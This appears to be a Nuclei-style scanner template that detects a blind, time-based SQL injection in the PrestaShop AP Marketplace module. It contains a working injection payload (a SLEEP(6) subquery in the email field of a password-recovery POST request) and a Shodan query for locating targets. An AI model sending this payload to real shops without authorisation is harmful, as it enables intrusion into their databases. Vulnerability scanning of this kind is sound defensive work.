id: prestashop-apmarketplace-sqli info: name: PrestaShop Ap Marketplace SQL Injection author: mastercho severity: high description: | The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database. reference: - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher metadata: max-request: 1 verified: true shodan-query: http.component:"Prestashop" tags: prestashop,sqli http: - raw: - | POST /m/apmarketplace/passwordrecovery HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}} X-Requested-With: XMLHttpRequest email=" AND (SELECT 3472 FROM (SELECT(SLEEP(6)))UTQK)-- IGIe&submit_reset_pwd= matchers: - type: dsl dsl: - 'duration_2>=6' - 'contains(body, "module-apmarketplace-passwordrecovery")' condition: and